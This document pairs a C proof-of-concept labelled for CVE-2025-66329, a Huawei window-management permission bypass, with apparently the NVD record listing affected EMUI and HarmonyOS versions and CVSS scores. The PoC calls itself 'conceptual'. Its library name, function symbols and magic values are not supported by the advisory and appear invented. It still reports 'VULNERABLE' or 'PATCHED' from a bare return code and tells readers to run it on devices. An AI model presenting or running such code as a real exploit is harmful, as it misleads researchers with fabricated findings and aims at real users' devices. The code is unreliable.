CVE-2025-66329

// CVE-2025-66329 PoC - Window Management Module Permission Bypass // This is a conceptual PoC demonstrating the vulnerability // Environment: Huawei device with vulnerable window management module #include <stdio.h> #include <stdlib.h> #include <dlfcn.h> // Window management function pointers typedef int (*window_create_t)(const char* name, int flags); typedef int (*window_destroy_t)(int window_id); typedef int (*window_set_property_t)(int window_id, int property, void* value); int main() { void* handle = dlopen("libwindow_manager.so", RTLD_NOW); if (!handle) { printf("[-] Failed to load window manager library\n"); return 1; } // Load vulnerable functions window_create_t create_window = (window_create_t)dlsym(handle, "Window_Create"); window_set_property_t set_property = (window_set_property_t)dlsym(handle, "Window_SetProperty"); if (!create_window || !set_property) { printf("[-] Failed to resolve function symbols\n"); return 1; } printf("[+] Creating test window...\n"); int window_id = create_window("test_window", 0); if (window_id < 0) { printf("[-] Window creation failed\n"); return 1; } printf("[+] Attempting privileged window operation as low-privilege user...\n"); // Exploit: Bypass permission check for privileged operations int result = set_property(window_id, 0x1001, (void*)0xFFFFFFFF); if (result == 0) { printf("[+] VULNERABLE: Permission check bypassed successfully!\n"); printf("[+] Availability impact: Low (A:L)\n"); } else { printf("[-] PATCHED: Operation blocked by proper access control\n"); } dlclose(handle); return 0; } // Usage: gcc -o poc poc.c -ldl // Run as low-privilege user on vulnerable Huawei device

{"cve": {"id": "CVE-2025-66329", "sourceIdentifier": "[email protected]", "published": "2025-12-08T09:15:47.597", "lastModified": "2025-12-09T18:00:19.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Permission control vulnerability in the window management module. Impact: Successful exploitation of this vulnerability may affect availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-264"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:12.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "A974CA73-84E8-480B-BB4C-4A81D0C985B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:13.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "353AEAF2-AF46-4835-93E1-4F942D5E2810"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:14.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "32FBF39A-164F-4F98-AB49-28C50A430C36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:14.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "4AA76C33-8D23-490B-B620-C24EDCC86A56"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:15.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "888C5BD7-421B-4A85-8719-BFEE3C215527"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "20112231-B840-44D3-A061-B9B9F80EE378"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:3.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "CB3751C1-7729-41D3-AE50-80B5AF601135"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D81C4EF-7CAF-4E60-91A4-8CF7B95B2B54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "8198CDB2-4BC5-411A-8736-615A531FC545"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "2401DE15-9DBF-4645-A261-8C24D57C6342"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "082BBC06-A0B2-481E-BF6F-56180E17ABEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.3.1:*:*:*:*:*:*:*", "matchCriteriaId": "6EA69843-EC8D-42E2-900E-017D2B502E9E"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/12/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}